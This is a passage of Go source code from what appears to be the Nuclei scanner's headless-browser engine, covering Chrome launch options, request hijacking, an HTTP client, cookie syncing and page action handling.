ActionTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"action to perform\",\n\t\tDescription: \"Type of actions to perform\",\n\t}\n\tfor _, types := range GetSupportedActionTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *ActionTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toActionTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.ActionType = computedType\n\treturn nil\n}\n\nfunc (holder *ActionTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toActionTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.ActionType = computedType\n\treturn nil\n}\n\nfunc (holder *ActionTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.ActionType.String())\n}\n\nfunc (holder ActionTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.ActionType.String(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/engine.go",
    "content": "package engine\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/launcher\"\n\t\"github.com/go-rod/rod/lib/launcher/flags\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tosutils \"github.com/projectdiscovery/utils/os\"\n)\n\n// Browser is a browser structure for nuclei headless module\ntype Browser struct {\n\tcustomAgent    string\n\tdefaultHeaders map[string]string\n\ttempDir        string\n\tengine         *rod.Browser\n\toptions        *types.Options\n\tlauncher       *launcher.Launcher\n\n\t// use getHTTPClient to get the http client\n\thttpClient     *http.Client\n\thttpClientOnce *sync.Once\n}\n\n// New creates a new nuclei headless browser module\nfunc New(options *types.Options) (*Browser, error) {\n\tvar launcherURL, dataStore string\n\tvar err error\n\n\tchromeLauncher := launcher.New()\n\n\tif options.CDPEndpoint == \"\" {\n\t\tdataStore, err = os.MkdirTemp(\"\", \"nuclei-*\")\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create temporary directory\")\n\t\t}\n\n\t\tchromeLauncher = chromeLauncher.\n\t\t\tLeakless(false).\n\t\t\tSet(\"disable-crash-reporter\").\n\t\t\tSet(\"disable-gpu\").\n\t\t\tSet(\"disable-notifications\").\n\t\t\tSet(\"hide-scrollbars\").\n\t\t\tSet(\"ignore-certificate-errors\").\n\t\t\tSet(\"ignore-ssl-errors\").\n\t\t\tSet(\"incognito\").\n\t\t\tSet(\"mute-audio\").\n\t\t\tSet(\"window-size\", fmt.Sprintf(\"%d,%d\", 1080, 1920)).\n\t\t\tDelete(\"use-mock-keychain\").\n\t\t\tUserDataDir(dataStore)\n\n\t\tif MustDisableSandbox() {\n\t\t\tchromeLauncher = chromeLauncher.NoSandbox(true)\n\t\t}\n\n\t\texecutablePath, err := os.Executable()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// if musl is used, most likely we are on alpine linux which is not supported by go-rod, so we fallback to default chrome\n\t\tuseMusl, _ := fileutil.UseMusl(executablePath)\n\t\tif options.UseInstalledChrome || useMusl {\n\t\t\tif chromePath, hasChrome := launcher.LookPath(); hasChrome {\n\t\t\t\tchromeLauncher.Bin(chromePath)\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"the chrome browser is not installed\")\n\t\t\t}\n\t\t}\n\n\t\tif options.ShowBrowser {\n\t\t\tchromeLauncher = chromeLauncher.Headless(false)\n\t\t} else {\n\t\t\tchromeLauncher = chromeLauncher.Headless(true)\n\t\t}\n\t\tif options.AliveHttpProxy != \"\" {\n\t\t\tchromeLauncher = chromeLauncher.Proxy(options.AliveHttpProxy)\n\t\t}\n\n\t\tfor k, v := range options.ParseHeadlessOptionalArguments() {\n\t\t\tchromeLauncher.Set(flags.Flag(k), v)\n\t\t}\n\n\t\tlauncherURL, err = chromeLauncher.Launch()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tlauncherURL = options.CDPEndpoint\n\t}\n\n\tbrowser := rod.New().ControlURL(launcherURL)\n\tif browserErr := browser.Connect(); browserErr != nil {\n\t\treturn nil, browserErr\n\t}\n\tdefaultHeaders := make(map[string]string)\n\tcustomAgent := \"\"\n\tfor _, option := range options.CustomHeaders {\n\t\tparts := strings.SplitN(option, \":\", 2)\n\t\tif len(parts) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tif strings.EqualFold(parts[0], \"User-Agent\") {\n\t\t\tcustomAgent = parts[1]\n\t\t} else {\n\t\t\tk := strings.TrimSpace(parts[0])\n\t\t\tv := strings.TrimSpace(parts[1])\n\t\t\tif k == \"\" || v == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdefaultHeaders[k] = v\n\t\t}\n\t}\n\n\tengine := &Browser{\n\t\ttempDir:        dataStore,\n\t\tcustomAgent:    customAgent,\n\t\tdefaultHeaders: defaultHeaders,\n\t\tengine:         browser,\n\t\toptions:        options,\n\t\thttpClientOnce: &sync.Once{},\n\t\tlauncher:       chromeLauncher,\n\t}\n\treturn engine, nil\n}\n\n// MustDisableSandbox determines if the current os and user needs sandbox mode disabled\nfunc MustDisableSandbox() bool {\n\t// linux with root user needs \"--no-sandbox\" option\n\t// https://github.com/chromium/chromium/blob/c4d3c31083a2e1481253ff2d24298a1dfe19c754/chrome/test/chromedriver/client/chromedriver.py#L209\n\treturn osutils.IsLinux()\n}\n\n// SetUserAgent sets custom user agent to the browser\nfunc (b *Browser) SetUserAgent(customUserAgent string) {\n\tb.customAgent = customUserAgent\n}\n\n// UserAgent fetch the currently set custom user agent\nfunc (b *Browser) UserAgent() string {\n\treturn b.customAgent\n}\n\n// applyDefaultHeaders setsheaders passed via cli -H flag\nfunc (b *Browser) applyDefaultHeaders(p *rod.Page) error {\n\tpairs := make([]string, 0, len(b.defaultHeaders)*2+2)\n\n\thasAcceptLanguage := false\n\tfor k := range b.defaultHeaders {\n\t\tif strings.EqualFold(k, \"Accept-Language\") {\n\t\t\thasAcceptLanguage = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !hasAcceptLanguage {\n\t\tpairs = append(pairs, \"Accept-Language\", \"en, en-GB, en-us;\")\n\t}\n\tfor k, v := range b.defaultHeaders {\n\t\tpairs = append(pairs, k, v)\n\t}\n\tif len(pairs) == 0 {\n\t\treturn nil\n\t}\n\t_, err := p.SetExtraHeaders(pairs)\n\treturn err\n}\n\nfunc (b *Browser) getHTTPClient() (*http.Client, error) {\n\tvar err error\n\tb.httpClientOnce.Do(func() {\n\t\tb.httpClient, err = newHttpClient(b.options)\n\t})\n\treturn b.httpClient, err\n}\n\n// Close closes the browser engine\n//\n// When connected over CDP, it does NOT close the browsers.\nfunc (b *Browser) Close() {\n\tif b.options.CDPEndpoint != \"\" {\n\t\treturn\n\t}\n\n\t_ = b.engine.Close()\n\tb.launcher.Kill()\n\t_ = os.RemoveAll(b.tempDir)\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/hijack.go",
    "content": "package engine\n\n// TODO: redundant from katana - the whole headless package should be replace with katana\n\nimport (\n\t\"encoding/base64\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/proto\"\n)\n\n// NewHijack create hijack from page.\nfunc NewHijack(page *rod.Page) *Hijack {\n\treturn &Hijack{\n\t\tpage:    page,\n\t\tdisable: &proto.FetchDisable{},\n\t}\n}\n\n// HijackHandler type\ntype HijackHandler = func(e *proto.FetchRequestPaused) error\n\n// Hijack is a hijack handler\ntype Hijack struct {\n\tpage    *rod.Page\n\tenable  *proto.FetchEnable\n\tdisable *proto.FetchDisable\n\tcancel  func()\n}\n\n// SetPattern set pattern directly\nfunc (h *Hijack) SetPattern(pattern *proto.FetchRequestPattern) {\n\th.enable = &proto.FetchEnable{\n\t\tPatterns: []*proto.FetchRequestPattern{pattern},\n\t}\n}\n\n// Start hijack.\nfunc (h *Hijack) Start(handler HijackHandler) func() error {\n\tif h.enable == nil {\n\t\tpanic(\"hijack pattern not set\")\n\t}\n\n\tp, cancel := h.page.WithCancel()\n\th.cancel = cancel\n\n\terr := h.enable.Call(p)\n\tif err != nil {\n\t\treturn func() error { return err }\n\t}\n\n\twait := p.EachEvent(func(e *proto.FetchRequestPaused) {\n\t\tif handler != nil {\n\t\t\terr = handler(e)\n\t\t}\n\t})\n\n\treturn func() error {\n\t\twait()\n\t\treturn err\n\t}\n}\n\n// Stop\nfunc (h *Hijack) Stop() error {\n\tif h.cancel != nil {\n\t\th.cancel()\n\t}\n\treturn h.disable.Call(h.page)\n}\n\n// FetchGetResponseBody get request body.\nfunc FetchGetResponseBody(page *rod.Page, e *proto.FetchRequestPaused) ([]byte, error) {\n\tm := proto.FetchGetResponseBody{\n\t\tRequestID: e.RequestID,\n\t}\n\tr, err := m.Call(page)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !r.Base64Encoded {\n\t\treturn []byte(r.Body), nil\n\t}\n\n\tbs, err := base64.StdEncoding.DecodeString(r.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn bs, nil\n}\n\n// FetchContinueRequest continue request\nfunc FetchContinueRequest(page *rod.Page, e *proto.FetchRequestPaused) error {\n\tm := proto.FetchContinueRequest{\n\t\tRequestID: e.RequestID,\n\t}\n\treturn m.Call(page)\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/http_client.go",
    "content": "package engine\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"golang.org/x/net/proxy\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer/ja3/impersonate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// newHttpClient creates a new http client for headless communication with a timeout\nfunc newHttpClient(options *types.Options) (*http.Client, error) {\n\tdialers := protocolstate.GetDialersWithId(options.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", options.ExecutionId)\n\t}\n\t// Set the base TLS configuration definition\n\ttlsConfig := &tls.Config{\n\t\tRenegotiation:      tls.RenegotiateOnceAsClient,\n\t\tInsecureSkipVerify: true,\n\t\tMinVersion:         tls.VersionTLS10,\n\t\tClientSessionCache: tls.NewLRUClientSessionCache(1024),\n\t}\n\n\tif options.SNI != \"\" {\n\t\ttlsConfig.ServerName = options.SNI\n\t}\n\n\t// Add the client certificate authentication to the request if it's configured\n\tvar err error\n\ttlsConfig, err = utils.AddConfiguredClientCertToRequest(tlsConfig, options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttransport := &http.Transport{\n\t\tForceAttemptHTTP2: options.ForceAttemptHTTP2,\n\t\tDialContext:       dialers.Fastdialer.Dial,\n\t\tDialTLSContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\t\tif options.TlsImpersonate {\n\t\t\t\treturn dialers.Fastdialer.DialTLSWithConfigImpersonate(ctx, network, addr, tlsConfig, impersonate.Random, nil)\n\t\t\t}\n\t\t\tif options.HasClientCertificates() || options.ForceAttemptHTTP2 {\n\t\t\t\treturn dialers.Fastdialer.DialTLSWithConfig(ctx, network, addr, tlsConfig)\n\t\t\t}\n\t\t\treturn dialers.Fastdialer.DialTLS(ctx, network, addr)\n\t\t},\n\t\tMaxIdleConns:        500,\n\t\tMaxIdleConnsPerHost: 500,\n\t\tMaxConnsPerHost:     500,\n\t\tTLSClientConfig:     tlsConfig,\n\t}\n\tif options.AliveHttpProxy != \"\" {\n\t\tif proxyURL, err := url.Parse(options.AliveHttpProxy); err == nil {\n\t\t\ttransport.Proxy = http.ProxyURL(proxyURL)\n\t\t}\n\t} else if options.AliveSocksProxy != \"\" {\n\t\tsocksURL, proxyErr := url.Parse(options.AliveSocksProxy)\n\t\tif proxyErr != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdialer, err := proxy.FromURL(socksURL, proxy.Direct)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdc := dialer.(interface {\n\t\t\tDialContext(ctx context.Context, network, addr string) (net.Conn, error)\n\t\t})\n\t\ttransport.DialContext = dc.DialContext\n\t}\n\n\tjar, _ := cookiejar.New(nil)\n\n\thttpclient := &http.Client{\n\t\tTransport: transport,\n\t\tTimeout:   time.Duration(options.Timeout*3) * time.Second,\n\t\tJar:       jar,\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\t// the browser should follow redirects not us\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\n\treturn httpclient, nil\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/instance.go",
    "content": "package engine\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"time\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n)\n\n// Instance is an isolated browser instance opened for doing operations with it.\ntype Instance struct {\n\tbrowser *Browser\n\tengine  *rod.Browser\n\n\t// redundant due to dependency cycle\n\tinteractsh *interactsh.Client\n\trequestLog map[string]string // contains actual request that was sent\n}\n\n// NewInstance creates a new instance for the current browser.\n//\n// The login process is repeated only once for a browser, and the created\n// isolated browser instance is used for entire navigation one by one.\n//\n// Users can also choose to run the login->actions process again\n// which uses a new incognito browser instance to run actions.\nfunc (b *Browser) NewInstance() (*Instance, error) {\n\tbrowser, err := b.engine.Incognito()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We use a custom sleeper that sleeps from 100ms to 500 ms waiting\n\t// for an interaction. Used throughout rod for clicking, etc.\n\tbrowser = browser.Sleeper(func() utils.Sleeper { return maxBackoffSleeper(10) })\n\treturn &Instance{browser: b, engine: browser, requestLog: map[string]string{}}, nil\n}\n\n// returns a map of [template-defined-urls] -> [actual-request-sent]\n// Note: this does not include CORS or other requests while rendering that were not explicitly\n// specified in template\nfunc (i *Instance) GetRequestLog() map[string]string {\n\treturn i.requestLog\n}\n\n// Close closes all the tabs and pages for a browser instance\nfunc (i *Instance) Close() error {\n\treturn i.engine.Close()\n}\n\n// SetInteractsh client\nfunc (i *Instance) SetInteractsh(interactsh *interactsh.Client) {\n\ti.interactsh = interactsh\n}\n\n// maxBackoffSleeper is a backoff sleeper respecting max backoff values\nfunc maxBackoffSleeper(max int) utils.Sleeper {\n\tcount := 0\n\tbackoffSleeper := utils.BackoffSleeper(100*time.Millisecond, 500*time.Millisecond, nil)\n\n\treturn func(ctx context.Context) error {\n\t\tif ctx.Err() != nil {\n\t\t\treturn ctx.Err()\n\t\t}\n\t\tif count == max {\n\t\t\treturn errors.New(\"max sleep count\")\n\t\t}\n\t\tcount++\n\t\treturn backoffSleeper(ctx)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/page.go",
    "content": "package engine\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/proto\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\thttputil \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Page is a single page in an isolated browser instance\ntype Page struct {\n\tctx                *contextargs.Context\n\tinputURL           *urlutil.URL\n\toptions            *Options\n\tpage               *rod.Page\n\trules              []rule\n\tinstance           *Instance\n\thijackRouter       *rod.HijackRouter\n\thijackNative       *Hijack\n\tmutex              *sync.RWMutex\n\tHistory            []HistoryData\n\tInteractshURLs     []string\n\tpayloads           map[string]interface{}\n\tvariables          map[string]interface{}\n\tlastActionNavigate *Action\n}\n\n// HistoryData contains the page request/response pairs\ntype HistoryData struct {\n\tRawRequest  string\n\tRawResponse string\n}\n\n// Options contains additional configuration options for the browser instance\ntype Options struct {\n\tTimeout       time.Duration\n\tDisableCookie bool\n\tOptions       *types.Options\n}\n\n// Run runs a list of actions by creating a new page in the browser.\nfunc (i *Instance) Run(ctx *contextargs.Context, actions []*Action, payloads map[string]interface{}, options *Options) (ActionData, *Page, error) {\n\tpage, err := i.engine.Page(proto.TargetCreateTarget{})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tpage = page.Timeout(options.Timeout)\n\n\tif err = i.browser.applyDefaultHeaders(page); err != nil {\n\t\t_ = page.Close()\n\t\treturn nil, nil, err\n\t}\n\n\tif i.browser.customAgent != \"\" {\n\t\tif userAgentErr := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: i.browser.customAgent}); userAgentErr != nil {\n\t\t\t_ = page.Close()\n\t\t\treturn nil, nil, userAgentErr\n\t\t}\n\t}\n\n\tpayloads = generators.MergeMaps(payloads,\n\t\tgenerators.BuildPayloadFromOptions(i.browser.options),\n\t)\n\n\ttarget := ctx.MetaInput.Input\n\tinput, err := urlutil.Parse(target)\n\tif err != nil {\n\t\t_ = page.Close()\n\t\treturn nil, nil, errkit.Wrapf(err, \"could not parse URL %s\", target)\n\t}\n\n\thasTrailingSlash := httputil.HasTrailingSlash(target)\n\tvariables := utils.GenerateVariables(input, hasTrailingSlash, contextargs.GenerateVariables(ctx))\n\tvariables = generators.MergeMaps(variables, payloads)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"Headless Protocol request variables: %s\\n\", vardump.DumpVariables(variables))\n\t}\n\n\tcreatedPage := &Page{\n\t\toptions:   options,\n\t\tpage:      page,\n\t\tctx:       ctx,\n\t\tinstance:  i,\n\t\tmutex:     &sync.RWMutex{},\n\t\tpayloads:  payloads,\n\t\tvariables: variables,\n\t\tinputURL:  input,\n\t}\n\n\tsuccessfulPageCreation := false\n\tdefer func() {\n\t\tif !successfulPageCreation {\n\t\t\t// to avoid leaking pages in case of errors\n\t\t\tcreatedPage.Close()\n\t\t}\n\t}()\n\n\thttpclient, err := i.browser.getHTTPClient()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// in case the page has request/response modification rules - enable global hijacking\n\tif createdPage.hasModificationRules() || containsModificationActions(actions...) {\n\t\thijackRouter := page.HijackRequests()\n\t\tif err := hijackRouter.Add(\"*\", \"\", createdPage.routingRuleHandler(httpclient)); err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tcreatedPage.hijackRouter = hijackRouter\n\t\tgo hijackRouter.Run()\n\t} else {\n\t\thijackRouter := NewHijack(page)\n\t\thijackRouter.SetPattern(&proto.FetchRequestPattern{\n\t\t\tURLPattern:   \"*\",\n\t\t\tRequestStage: proto.FetchRequestStageResponse,\n\t\t})\n\t\tcreatedPage.hijackNative = hijackRouter\n\t\thijackRouterHandler := hijackRouter.Start(createdPage.routingRuleHandlerNative)\n\t\tgo func() {\n\t\t\t_ = hijackRouterHandler()\n\t\t}()\n\t}\n\n\tif err := page.SetViewport(&proto.EmulationSetDeviceMetricsOverride{Viewport: &proto.PageViewport{\n\t\tScale:  1,\n\t\tWidth:  float64(1920),\n\t\tHeight: float64(1080),\n\t}}); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// inject cookies\n\t// each http request is performed via the native go http client\n\t// we first inject the shared cookies\n\tURL, err := url.Parse(ctx.MetaInput.Input)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif !options.DisableCookie {\n\t\tif cookies := ctx.CookieJar.Cookies(URL); len(cookies) > 0 {\n\t\t\tvar NetworkCookies []*proto.NetworkCookie\n\t\t\tfor _, cookie := range cookies {\n\t\t\t\tnetworkCookie := &proto.NetworkCookie{\n\t\t\t\t\tName:     cookie.Name,\n\t\t\t\t\tValue:    cookie.Value,\n\t\t\t\t\tDomain:   cookie.Domain,\n\t\t\t\t\tPath:     cookie.Path,\n\t\t\t\t\tHTTPOnly: cookie.HttpOnly,\n\t\t\t\t\tSecure:   cookie.Secure,\n\t\t\t\t\tExpires:  proto.TimeSinceEpoch(cookie.Expires.Unix()),\n\t\t\t\t\tSameSite: proto.NetworkCookieSameSite(GetSameSite(cookie)),\n\t\t\t\t\tPriority: proto.NetworkCookiePriorityLow,\n\t\t\t\t}\n\t\t\t\tNetworkCookies = append(NetworkCookies, networkCookie)\n\t\t\t}\n\t\t\tparams := proto.CookiesToParams(NetworkCookies)\n\t\t\tfor _, param := range params {\n\t\t\t\tparam.URL = ctx.MetaInput.Input\n\t\t\t}\n\t\t\terr := page.SetCookies(params)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\tdata, err := createdPage.ExecuteActions(ctx, actions)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif !options.DisableCookie {\n\t\t// at the end of actions pull out updated cookies from the browser and inject them into the shared cookie jar\n\t\tif cookies, err := page.Cookies([]string{URL.String()}); !options.DisableCookie && err == nil && len(cookies) > 0 {\n\t\t\tvar httpCookies []*http.Cookie\n\t\t\tfor _, cookie := range cookies {\n\t\t\t\thttpCookie := &http.Cookie{\n\t\t\t\t\tName:     cookie.Name,\n\t\t\t\t\tValue:    cookie.Value,\n\t\t\t\t\tDomain:   cookie.Domain,\n\t\t\t\t\tPath:     cookie.Path,\n\t\t\t\t\tHttpOnly: cookie.HTTPOnly,\n\t\t\t\t\tSecure:   cookie.Secure,\n\t\t\t\t}\n\t\t\t\thttpCookies = append(httpCookies, httpCookie)\n\t\t\t}\n\t\t\tctx.CookieJar.SetCookies(URL, httpCookies)\n\t\t}\n\t}\n\n\t// The first item of history data will contain the very first request from the browser\n\t// we assume it's the one matching the initial URL\n\tcreatedPage.mutex.RLock()\n\tvar firstHistoryItem HistoryData\n\thasHistory := len(createdPage.History) > 0\n\tif hasHistory {\n\t\tfirstHistoryItem = createdPage.History[0]\n\t}\n\tcreatedPage.mutex.RUnlock()\n\n\tif hasHistory {\n\t\tif resp, err := http.ReadResponse(bufio.NewReader(strings.NewReader(firstHistoryItem.RawResponse)), nil); err == nil {\n\t\t\tdata[\"header\"] = utils.HeadersToString(resp.Header)\n\t\t\tdata[\"status_code\"] = fmt.Sprint(resp.StatusCode)\n\t\t\tdefer func() {\n\t\t\t\t_ = resp.Body.Close()\n\t\t\t}()\n\t\t}\n\t}\n\n\tsuccessfulPageCreation = true // avoid closing the page in case of success in deferred function\n\treturn data, createdPage, nil\n}\n\n// Close closes a browser page\nfunc (p *Page) Close() {\n\tif p.hijackRouter != nil {\n\t\t_ = p.hijackRouter.Stop()\n\t}\n\tif p.hijackNative != nil {\n\t\t_ = p.hijackNative.Stop()\n\t}\n\t_ = p.page.Close()\n}\n\n// Page returns the current page for the actions\nfunc (p *Page) Page() *rod.Page {\n\treturn p.page\n}\n\n// Browser returns the browser that created the current page\nfunc (p *Page) Browser() *rod.Browser {\n\treturn p.instance.engine\n}\n\n// URL returns the URL for the current page.\nfunc (p *Page) URL() string {\n\tinfo, err := p.page.Info()\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn info.URL\n}\n\n// DumpHistory returns the full page navigation history\nfunc (p *Page) DumpHistory() string {\n\tp.mutex.RLock()\n\tdefer p.mutex.RUnlock()\n\n\tvar historyDump strings.Builder\n\tfor _, historyData := range p.History {\n\t\thistoryDump.WriteString(historyData.RawRequest)\n\t\thistoryDump.WriteString(historyData.RawResponse)\n\t}\n\treturn historyDump.String()\n}\n\n// addToHistory adds a request/response pair to the page history\nfunc (p *Page) addToHistory(historyData ...HistoryData) {\n\tp.mutex.Lock()\n\tdefer p.mutex.Unlock()\n\n\tp.History = append(p.History, historyData...)\n}\n\nfunc (p *Page) addInteractshURL(URLs ...string) {\n\tp.mutex.Lock()\n\tdefer p.mutex.Unlock()\n\n\tp.InteractshURLs = append(p.InteractshURLs, URLs...)\n}\n\nfunc (p *Page) hasModificationRules() bool {\n\tfor _, rule := range p.rules {\n\t\tif containsAnyModificationActionType(rule.Action) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// updateLastNavigatedURL updates the last navigated URL in the instance's\n// request log.\nfunc (p *Page) updateLastNavigatedURL() {\n\tif p.lastActionNavigate == nil {\n\t\treturn\n\t}\n\n\ttemplateURL := p.lastActionNavigate.GetArg(\"url\")\n\tp.instance.requestLog[templateURL] = p.URL()\n}\n\nfunc containsModificationActions(actions ...*Action) bool {\n\tfor _, action := range actions {\n\t\tif containsAnyModificationActionType(action.ActionType.ActionType) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc containsAnyModificationActionType(actionTypes ...ActionType) bool {\n\tfor _, actionType := range actionTypes {\n\t\tswitch actionType {\n\t\tcase ActionSetMethod:\n\t\t\treturn true\n\t\tcase ActionAddHeader:\n\t\t\treturn true\n\t\tcase ActionSetHeader:\n\t\t\treturn true\n\t\tcase ActionDeleteHeader:\n\t\t\treturn true\n\t\tcase ActionSetBody:\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc GetSameSite(cookie *http.Cookie) string {\n\tswitch cookie.SameSite {\n\tcase http.SameSiteNoneMode:\n\t\treturn \"none\"\n\tcase http.SameSiteLaxMode:\n\t\treturn \"lax\"\n\tcase http.SameSiteStrictMode:\n\t\treturn \"strict\"\n\tcase http.SameSiteDefaultMode:\n\t\tfallthrough\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/page_actions.go",
    "content": "package engine\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/input\"\n\t\"github.com/go-rod/rod/lib/proto\"\n\t\"github.com/go-rod/rod/lib/utils\"\n\t\"github.com/kitabisa/go-ci\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tcontextutil \"github.com/projectdiscovery/utils/context\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/segmentio/ksuid\"\n)\n\nvar (\n\terrinvalidArguments = errkit.New(\"invalid arguments provided\")\n\tErrLFAccessDenied   = errkit.New(\"Use -allow-local-file-access flag to enable local file access\")\n\t// ErrActionExecDeadline is the error returned when allotted time for action execution exceeds\n\tErrActionExecDeadline = errkit.New(\"headless action execution deadline exceeded\").SetKind(errkit.ErrKindDeadline).Build()\n)\n\nconst (\n\terrCouldNotGetElement  = \"could not get element\"\n\terrCouldNotScroll      = \"could not scroll into view\"\n\terrElementDidNotAppear = \"Element did not appear in the given amount of time\"\n)\n\n// ExecuteActions executes a list of actions on a page.\nfunc (p *Page) ExecuteActions(input *contextargs.Context, actions []*Action) (outData ActionData, err error) {\n\toutData = make(ActionData)\n\n\t// waitFuncs are function that needs to be executed after navigation\n\t// typically used for waitEvent\n\twaitFuncs := make([]func() error, 0)\n\n\t// avoid any future panics caused due to go-rod library\n\t// TODO(dwisiswant0): remove this once we get the RCA.\n\tdefer func() {\n\t\tif ci.IsCI() {\n\t\t\treturn\n\t\t}\n\n\t\tif r := recover(); r != nil {\n\t\t\terr = errkit.Newf(\"panic on headless action: %v\", r)\n\t\t}\n\t}()\n\n\tfor _, act := range actions {\n\t\tswitch act.ActionType.ActionType {\n\t\tcase ActionNavigate:\n\t\t\terr = p.NavigateURL(act, outData)\n\t\t\tif err == nil {\n\t\t\t\t// if navigation successful trigger all waitFuncs (if any)\n\t\t\t\tfor _, waitFunc := range waitFuncs {\n\t\t\t\t\tif waitFunc != nil {\n\t\t\t\t\t\tif err := waitFunc(); err != nil {\n\t\t\t\t\t\t\treturn nil, errkit.Wrap(err, \"error occurred while executing waitFunc\")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tp.lastActionNavigate = act\n\t\t\t}\n\t\tcase ActionScript:\n\t\t\terr = p.RunScript(act, outData)\n\t\tcase ActionClick:\n\t\t\terr = p.ClickElement(act, outData)\n\t\tcase 